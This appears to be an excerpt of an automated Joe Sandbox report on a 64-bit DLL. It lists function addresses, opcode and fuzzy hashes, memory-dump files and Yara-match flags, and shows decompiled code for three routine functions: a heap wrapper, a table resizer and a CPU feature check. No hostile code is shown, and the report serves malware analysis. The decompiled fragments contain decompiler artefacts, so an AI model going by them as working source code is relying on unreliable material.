Instruction Fuzzy Hash: 992126B55097849BE348DF28C08A51BBBE1BB9C31CF810B1DF4CAA7254D378D649CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EDD90 Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FFE7FFE354EDD90(long long __rax) {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0x3555f930 = __rax;
				return _t3 & 0xffffff00 | __rax != 0x00000000;
			}

0x7ffe354edd94
0x7ffe354edd9d
0x7ffe354eddab

APIs

GetProcessHeap.KERNEL32 ref: 00007FFE354EDD94

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: d636a00b42bd7fb21fd81f09ca247f2baf2d4d4e689b7af4b01eea6171bd139b
Instruction ID: e0f50296b8d5a32f79bc4619198dc36611c1fd1ce21f066d22b0deef888182a6
Opcode Fuzzy Hash: d636a00b42bd7fb21fd81f09ca247f2baf2d4d4e689b7af4b01eea6171bd139b
Instruction Fuzzy Hash: 35B09228E17B07E2EE082B216C8A2142AB57F48F00F880038C50D81330EF3C32BA6700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015694 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 242dba147a3b42ea0af5cfec930ece5e83433d0fba20fb6d2f2fe3008541b1f6
Instruction ID: acc53311729b3702271ddd4d27c6e114e7717bdbebfd3a0864e34ca081a3005a
Opcode Fuzzy Hash: 242dba147a3b42ea0af5cfec930ece5e83433d0fba20fb6d2f2fe3008541b1f6
Instruction Fuzzy Hash: C691197090470CAFDB98DF68C04669DBBF2FB48344F40C1ADE849AB690D7759A19CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001B2F0 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4ff37af258a23db5c01797c23f2434de8658ec910b62f667d3e0b084e4f6255
Instruction ID: ee1a5b038e23b1b762728b601e6c99c8254ef48870683394c78a05e9b81e4730
Opcode Fuzzy Hash: f4ff37af258a23db5c01797c23f2434de8658ec910b62f667d3e0b084e4f6255
Instruction Fuzzy Hash: 9A61457160460C8BDB6CDF38D4866A93BE5FB58740F24613DF866C72A2DB74D906CB44

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000741C Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 411371247076829a3ed050940fe1e65d63f7276580b25cd8f2de86b758f4f241
Instruction ID: 124210ae31362696c8e7c7fc55ee17b9d1fa189669067b7980e05abe0ce7dbb4
Opcode Fuzzy Hash: 411371247076829a3ed050940fe1e65d63f7276580b25cd8f2de86b758f4f241
Instruction Fuzzy Hash: 9C81CF7190471C8FEB65DFA8C48968DBFF0FB58388F20461EE815A7262DB749945CF81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001629C Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dac85506b1f04058cb15554c85bbceb8ebb7a831f5bd702a5d02e9f92134646
Instruction ID: 378d96e7360db12acf5ccb9a2c1092155fc294dfe99add9db15bd0895a73080d
Opcode Fuzzy Hash: 9dac85506b1f04058cb15554c85bbceb8ebb7a831f5bd702a5d02e9f92134646
Instruction Fuzzy Hash: 74516C71524A8CABDBCDCE28D8C6A993BA0FB15344F90621DFC46C7292CB74D985CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EABC0 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a302809728b8e03c07a5101cfacb15d383c3ede7fbfee8270d7ccf682f85e519
Instruction ID: 087c8ad7aeae4f25515ac538051dde660bbf8624d06a644c3c3999ac37d62802
Opcode Fuzzy Hash: a302809728b8e03c07a5101cfacb15d383c3ede7fbfee8270d7ccf682f85e519
Instruction Fuzzy Hash: 47412651F69BDB47EE039A7A5816BB00E10AFA7BC1F42E332ED0B77B11DB2C55468200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EA370 Relevance: .1, Instructions: 126
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 60%

			E00007FFE7FFE354EA370(signed int __edx, void* __edi, void* __esp, long long __rbx, signed long long*** __rcx, long long __rsi) {
				void* _t24;
				int _t26;
				signed int _t51;
				void* _t52;
				signed long long _t66;
				signed int* _t73;
				signed long long _t75;
				signed long long _t77;
				signed long long _t78;
				signed long long _t95;
				signed long long _t96;
				signed long long _t98;
				signed long long _t104;
				long long _t115;
				void* _t117;
				void* _t120;
				signed long long* _t123;
				signed long long _t124;
				signed long long _t126;
				signed long long _t129;
				signed long long*** _t132;

				_t52 = __edi;
				_t51 = __edx;
				 *((long long*)(_t117 + 0x10)) = __rbx;
				 *((long long*)(_t117 + 0x18)) = _t115;
				 *((long long*)(_t117 + 0x20)) = __rsi;
				_t66 =  *((intOrPtr*)(__rcx));
				_t132 = __rcx;
				_t73 =  *_t66;
				if (_t73 == 0) goto 0x354ea504;
				_t124 =  *0x3555e008; // 0x393f49ce3de2
				_t111 =  *_t73 ^ _t124;
				asm("dec eax");
				_t75 = _t73[4] ^ _t124;
				asm("dec ecx");
				asm("dec eax");
				if ((_t73[2] ^ _t124) != _t75) goto 0x354ea476;
				_t77 = _t75 - ( *_t73 ^ _t124) >> 3;
				_t101 =  >  ? _t66 : _t77;
				_t6 = _t115 + 0x20; // 0x20
				_t102 = ( >  ? _t66 : _t77) + _t77;
				_t103 =  ==  ? _t66 : ( >  ? _t66 : _t77) + _t77;
				if (( ==  ? _t66 : ( >  ? _t66 : _t77) + _t77) - _t77 < 0) goto 0x354ea412;
				_t7 = _t115 + 8; // 0x8
				r8d = _t7;
				E00007FFE7FFE354ED858(_t6, r10d & 0x0000003f, __esp, _t77, _t111,  ==  ? _t66 : ( >  ? _t66 : _t77) + _t77, _t111, _t115, _t120);
				_t24 = E00007FFE7FFE354EA9DC(_t66, _t111);
				if (_t66 != 0) goto 0x354ea43a;
				_t104 = _t77 + 4;
				r8d = 8;
				E00007FFE7FFE354ED858(_t24, 0, __esp, _t77, _t111, _t104, _t111, _t115, _t120);
				_t129 = _t66;
				_t26 = E00007FFE7FFE354EA9DC(_t66, _t111);
				if (_t129 == 0) goto 0x354ea504;
				_t123 = _t129 + _t77 * 8;
				_t78 = _t129 + _t104 * 8;
				_t88 =  >  ? _t115 : _t78 - _t123 + 7 >> 3;
				_t64 =  >  ? _t115 : _t78 - _t123 + 7 >> 3;
				if (( >  ? _t115 : _t78 - _t123 + 7 >> 3) == 0) goto 0x354ea476;
				memset(_t52, _t26, 0 << 0);
				_t126 =  *0x3555e008; // 0x393f49ce3de2
				r8d = 0x40;
				_t14 =  &(_t123[1]); // 0x7ffe354e1024
				asm("dec eax");
				 *_t123 =  *(_t132[1]) ^ _t126;
				_t95 =  *0x3555e008; // 0x393f49ce3de2
				asm("dec eax");
				 *( *( *_t132)) = _t129 ^ _t95;
				_t96 =  *0x3555e008; // 0x393f49ce3de2
				asm("dec eax");
				( *( *_t132))[1] = _t14 ^ _t96;
				_t98 =  *0x3555e008; // 0x393f49ce3de2
				r8d = r8d - (_t51 & 0x0000003f);
				asm("dec eax");
				( *( *_t132))[2] = _t78 ^ _t98;
				goto 0x354ea507;
				return 0xffffffff;
			}

0x7ffe354ea370
0x7ffe354ea370
0x7ffe354ea370
0x7ffe354ea375
0x7ffe354ea37a
0x7ffe354ea388
0x7ffe354ea38d
0x7ffe354ea390
0x7ffe354ea396
0x7ffe354ea39c
0x7ffe354ea3b4
0x7ffe354ea3ba
0x7ffe354ea3bd
0x7ffe354ea3c0
0x7ffe354ea3c3
0x7ffe354ea3c9
0x7ffe354ea3d7
0x7ffe354ea3e1
0x7ffe354ea3e5
0x7ffe354ea3e8
0x7ffe354ea3eb
0x7ffe354ea3f2
0x7ffe354ea3f4
0x7ffe354ea3f4
0x7ffe354ea3fe
0x7ffe354ea408
0x7ffe354ea410
0x7ffe354ea412
0x7ffe354ea416
0x7ffe354ea422
0x7ffe354ea429
0x7ffe354ea42c
0x7ffe354ea434
0x7ffe354ea441
0x7ffe354ea445
0x7ffe354ea45d
0x7ffe354ea461
0x7ffe354ea464
0x7ffe354ea46c
0x7ffe354ea46f
0x7ffe354ea476
0x7ffe354ea47c
0x7ffe354ea495
0x7ffe354ea49b
0x7ffe354ea49e
0x7ffe354ea4b1
0x7ffe354ea4ba
0x7ffe354ea4c0
0x7ffe354ea4d1
0x7ffe354ea4da
0x7ffe354ea4de
0x7ffe354ea4ea
0x7ffe354ea4f3
0x7ffe354ea4fe
0x7ffe354ea502
0x7ffe354ea51f

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: ErrorLastPrivilegeRelease
String ID:
API String ID: 1334314998-0
Opcode ID: ed3b70687e7945458bcaab2cb262aa06014580efde759abfe4f9ab75d549e353
Instruction ID: 74adcaca22029c00d5986cd813891e6c3967525088a970a0e94fa3aea63e48b2
Opcode Fuzzy Hash: ed3b70687e7945458bcaab2cb262aa06014580efde759abfe4f9ab75d549e353
Instruction Fuzzy Hash: 4241E732714B5582EF08CF26D91C16977A1BB88FD4B5A9436DE4E87B68DE3CE4469300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013698 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fd7e54c2e3c2eb2f4057fbf02f2f3a8737c251e610f5f48a5c25456a3c2a7c7
Instruction ID: 707c8c7feef62a70d2195b75d5e6b66e4219545dc678810288b7b2209aceacb9
Opcode Fuzzy Hash: 0fd7e54c2e3c2eb2f4057fbf02f2f3a8737c251e610f5f48a5c25456a3c2a7c7
Instruction Fuzzy Hash: 1161917154878DDBEBBACF24D88A7D97BB0FB48314F904219D84E8E290DB74574ACB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180011DAC Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a779fa67324b10137dca71439002aac2bbc9acba917943a89a2440558f265d6
Instruction ID: 49561eaafaa20b5dbb512bdc2e8c8324cc323e320cbd5a294de7a2bbabfa02a5
Opcode Fuzzy Hash: 8a779fa67324b10137dca71439002aac2bbc9acba917943a89a2440558f265d6
Instruction Fuzzy Hash: 3351B07051478C8BEBBACF28DC9A7DB3BB1FB48704F50421DA84E8E2A0DB765645CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000D1AC Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de15e4835354da21c21c581afa9e1e49ad56d5e721c00a56a2a0f9a367a7b1e2
Instruction ID: cab1e4afcb3e4e3efad056c987e19407a7ae96f8ba765043352ee3f473a28ce2
Opcode Fuzzy Hash: de15e4835354da21c21c581afa9e1e49ad56d5e721c00a56a2a0f9a367a7b1e2
Instruction Fuzzy Hash: 7A51597191474DCBDF6DCF68C88A6DDBBB0FF08344F004219E94662291DB799949CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020930 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1891d7c6e5579f1ddf716b9efe699b55b9d074dc8e7dc217c6cd483ac21faf1f
Instruction ID: 0d5a1e45f689093ba705f26d6d0b7ee4761fe465e88e59cb2662693f670c6f5b
Opcode Fuzzy Hash: 1891d7c6e5579f1ddf716b9efe699b55b9d074dc8e7dc217c6cd483ac21faf1f
Instruction Fuzzy Hash: 99517CB590034A8FDB88CF64C58A4DF7FB0BB68398F204619F856962A0D374D6A5CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E570 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0947fb190b259f2f036e8e13266f38e419df21044a1d34d71fc6672665701d99
Instruction ID: 6b1a579500f7469a5a283cf0a7520b14203c8905753f3a8ac0622774f88945dd
Opcode Fuzzy Hash: 0947fb190b259f2f036e8e13266f38e419df21044a1d34d71fc6672665701d99
Instruction Fuzzy Hash: 1241D3B050034E8BDB48CF64D88A4DE7FF0FB68398F214619F859A6250D378D6A4CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013524 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95e6112c03750f4c0630cdb5a18b98eee8cc7382c4e8c9e1a176535c4f274712
Instruction ID: 4275e61531d4984f43622383f8721a212c43d9f9e5acc043d588a3e2cbca8aaf
Opcode Fuzzy Hash: 95e6112c03750f4c0630cdb5a18b98eee8cc7382c4e8c9e1a176535c4f274712
Instruction Fuzzy Hash: 0741D2B090074E8FDB48CF64C98A5DE7FB1FBA8394F204219EC4AA6250D374D6A4CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015508 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8348d3cd7f29255d4884c11fe93a9125b21d4f4a43616c69afa397f7f63962af
Instruction ID: afd4a856b60e5dc0eb8acee87462e8dc665325ca188dc724d3a88843a6c40c3d
Opcode Fuzzy Hash: 8348d3cd7f29255d4884c11fe93a9125b21d4f4a43616c69afa397f7f63962af
Instruction Fuzzy Hash: 6041AFB180438E8FDF48CF64C88A5DE7BB0FB58348F104A19E86696264D3B9D664CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017198 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c4ca00263a0247c4b651e916fb7a83a9bfa1ce2ae173780690b90c0a27bb6f5
Instruction ID: 224c6f81855e22c7893a2b7f2b7cfff3a5734a3a9938c9b8f57012155b825125
Opcode Fuzzy Hash: 6c4ca00263a0247c4b651e916fb7a83a9bfa1ce2ae173780690b90c0a27bb6f5
Instruction Fuzzy Hash: 3041B1B090478E8BDF49CF68D84A5DE7BA0FB58348F104A1DEC66A6294D3B4D664CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001E614 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f2ddded83ff06c7b56f3b031172a418f339d67288712c2ef59fbdfb7de3fa65
Instruction ID: 49a2f425b0a366156263d2a3b3444c35eadce35315b0c57ee30031dbbbdec485
Opcode Fuzzy Hash: 6f2ddded83ff06c7b56f3b031172a418f339d67288712c2ef59fbdfb7de3fa65
Instruction Fuzzy Hash: FB41E6B090034A8BDF48DF68C88A5DE7FB1FB58358F10461DF85AA6390D37896A5CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013B88 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9a747ab3829d035c160e30ca67f218d8c010ef4ce6a01bc2123f51e37c39b15
Instruction ID: 6daa388222a5a84c7974237e422c02caa7ff578f64bce21c4d2575711bd59858
Opcode Fuzzy Hash: e9a747ab3829d035c160e30ca67f218d8c010ef4ce6a01bc2123f51e37c39b15
Instruction Fuzzy Hash: EB41D5B190074E8BDF48CF64C48A5DE7FB0FB68358F214618E855A6290D3B8D6A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000BE34 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4a31af1c88a1e6ab448c518336f099c9e743a345a8116ccbb9bcacf6df5466d
Instruction ID: d8d0a970803080bdb9b0c4b9adcb29ea95a621f075ad5d7819bf759c13dfa2c1
Opcode Fuzzy Hash: d4a31af1c88a1e6ab448c518336f099c9e743a345a8116ccbb9bcacf6df5466d
Instruction Fuzzy Hash: AE3105B090034A8BDB4CDF68C88A4DE3FA1BB58398F10461DFC5A9A350D3B4D9A4CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012110 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69f1bd5eb2f0ebfb53ff7e4ae7896f851b8bbd9ae22bdf3f2cf4232ccd8f10e8
Instruction ID: 8f5d51aba00c4f23d52c296157a313ffc4782a84c6f71662d1847f1d9af8e599
Opcode Fuzzy Hash: 69f1bd5eb2f0ebfb53ff7e4ae7896f851b8bbd9ae22bdf3f2cf4232ccd8f10e8
Instruction Fuzzy Hash: E431ADB55187818BC348DF28C54A51ABBE1FB8C308F504B2EF8CAA6294D778D6058B4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800197AC Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1cb5be32486d082a1004d5cd3269ee3ed63ecfe90488e34a48b9d161af83a4e
Instruction ID: 79354f79ef65217a83ad5669e5e5daff520c5b483ab2cf90db9683dfdc12feb2
Opcode Fuzzy Hash: a1cb5be32486d082a1004d5cd3269ee3ed63ecfe90488e34a48b9d161af83a4e
Instruction Fuzzy Hash: A331C5B190434A8BDB48DF24C88A5DE7FF0FB58388F10461CE85AA7250D3B4D6A4CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020D54 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 403423f91ab6d2efc18bb9c6fca72d8179c469d66eb0a9203399f0508270c383
Instruction ID: f7e907a5a4d268517ac5d39fb781b2abcac55db7633d781cedf7f9941ca353e5
Opcode Fuzzy Hash: 403423f91ab6d2efc18bb9c6fca72d8179c469d66eb0a9203399f0508270c383
Instruction Fuzzy Hash: 8F21A0B152C781AFD388DF28C19981ABBE1FB88304F806A1DF98687350D374D844CB46

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E828 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bd384b18a8f018deb1ae8c02f50e3dfc83e34399570a2e179077375e0c66cc5
Instruction ID: e563aa27f56e2ecce816434c0e114442c931e28e35474e2e86562d3eaff730a2
Opcode Fuzzy Hash: 7bd384b18a8f018deb1ae8c02f50e3dfc83e34399570a2e179077375e0c66cc5
Instruction Fuzzy Hash: 8931707552D784AFC788DF28D48991EBBF0FB98345F906A1DF88686264E374D445CB02

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022B8C Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa0a547024bc87cfc42133694cef77c279f754c0bf310b00985741a0ad6876d3
Instruction ID: cfe9eacf390d468c13f16f556d0757c07c704974f4e6988c0e8e4883957bcd26
Opcode Fuzzy Hash: fa0a547024bc87cfc42133694cef77c279f754c0bf310b00985741a0ad6876d3
Instruction Fuzzy Hash: 95316174529380AFD398DF28D48A81BBBF0FB99314F806E1DF9C68A2A0D774D405CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E368 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f840c702cc6db683c56574f5bbeabe7a5e8170610e02f4bacfea2193c17d021
Instruction ID: 95bb47a97fe7a9d8d529fae77a119aa2dd9a35a31096ffbc611f9293c9fe5b2f
Opcode Fuzzy Hash: 0f840c702cc6db683c56574f5bbeabe7a5e8170610e02f4bacfea2193c17d021
Instruction Fuzzy Hash: 2531F17080438E8BDB48CF64C8865DFBFB0FB48358F104A19EC5AA6250D7B89664CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015400 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3589b8c10d41c6a6d8f55a96a52859424ad6790b55d32d6910364891c60a7e75
Instruction ID: aca377b28207093ad69189230e20808a2953a665cdfbd0516b7c3ce528793aa5
Opcode Fuzzy Hash: 3589b8c10d41c6a6d8f55a96a52859424ad6790b55d32d6910364891c60a7e75
Instruction Fuzzy Hash: 7F2168B15187808BD348DF28D54951ABBE1BB8C30CF400B2DF8CAAA2A1D778D604CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EAB50 Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00007FFE7FFE354EAB50(intOrPtr __ebx, intOrPtr __edx, signed int __rax, signed int __rdx, void* __r8, signed long long _a8) {
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* _t25;

				_t25 = __r8;
				r8d = 0;
				 *0x3555f4f8 = r8d;
				_t1 = _t25 + 1; // 0x1
				r9d = _t1;
				asm("cpuid");
				_v16 = r9d;
				_v16 = 0;
				_v20 = __ebx;
				_v12 = __edx;
				if (0 != 0x18001000) goto 0x354eabb1;
				asm("xgetbv");
				_a8 = __rdx << 0x00000020 | __rax;
				r8d =  *0x3555f4f8; // 0x1
				r8d =  ==  ? r9d : r8d;
				 *0x3555f4f8 = r8d;
				 *0x3555f4fc = r8d;
				return 0;
			}

0x7ffe354eab50
0x7ffe354eab56
0x7ffe354eab5b
0x7ffe354eab62
0x7ffe354eab62
0x7ffe354eab69
0x7ffe354eab6b
0x7ffe354eab73
0x7ffe354eab79
0x7ffe354eab7d
0x7ffe354eab83
0x7ffe354eab87
0x7ffe354eab91
0x7ffe354eab9b
0x7ffe354eaba6
0x7ffe354eabaa
0x7ffe354eabb1
0x7ffe354eabbf

